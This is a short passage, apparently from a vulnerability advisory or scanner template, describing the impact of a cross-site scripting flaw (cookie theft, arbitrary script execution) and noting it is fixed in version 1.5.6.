This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
  remediation: Fixed in version 1.5.6.
